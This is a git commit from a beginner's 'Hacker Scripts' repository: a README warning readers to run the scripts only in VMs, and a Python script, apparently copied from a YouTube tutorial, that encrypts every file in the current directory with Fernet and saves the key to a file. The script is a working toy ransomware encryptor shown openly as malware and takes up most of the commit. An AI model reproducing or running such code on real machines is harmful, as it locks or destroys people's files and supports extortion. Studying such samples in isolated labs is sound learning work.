initial commit

This commit is contained in:
Tiffany 2023-08-19 22:30:40 -04:00
commit 19ca006f56
2 changed files with 64 additions and 0 deletions

33
README.md Normal file
View file

@ -0,0 +1,33 @@
# Hacker Scripts
> For us noobs
!!!danger "SOME OF THESE SCRIPTS WILL RUIN YOUR COMPUTER!!"
Listen. I know you want to become a *1337 haxx0r* and all, but seriously, **don't run
these scripts on your main machine**. Use a box you can blow up with malware, or a cheap Linode server, or like I do, a VM. But **DON'T BE STUPID**. **USE WITH CAUTION**.
## Where are them scripts??
Glad you asked. They are broken up into several directories, and majority of these scripts are written in Python.
```
/scritps
├── 📁 python
| ├── 📁 network-chuck
| ├── 📁 malware
| ├── 📄 somescript.py
| └── 📄 anothernastyboy.py
├── 📁 anotherdir
├── 📄 somemorescripts.py
| └── 📄 hacktheplanet.py
├── 📄 LICENSE
├── 📄 README.md
```
Unless otherwise stated, I wrote these scripts with the instruction of YouTube channels. When I get better at this, I will create my own.
However, note that I am not content to just write these down; no no. Ya girl is going to *refactor* them and *test* on my VMs.
## More info please!
I do more detailed writing on https://0x8c.org.

View file

@ -0,0 +1,31 @@
#!/usr/bin/env python3
"""
This is a script taken from NetworkChuck YouTube channel. It is a simple
python script. See my latest post at https://0x8c.org for more.
"""
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "givemeyourmoney.py" or file == "gotchabitch.key":
continue
if os.path.isfile(file):
files.append(file)
print(files)
key = Fernet.generate_key()
with open("gotchabitch.key", "wb") as gotchabitch:
gotchabitch.write(key)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)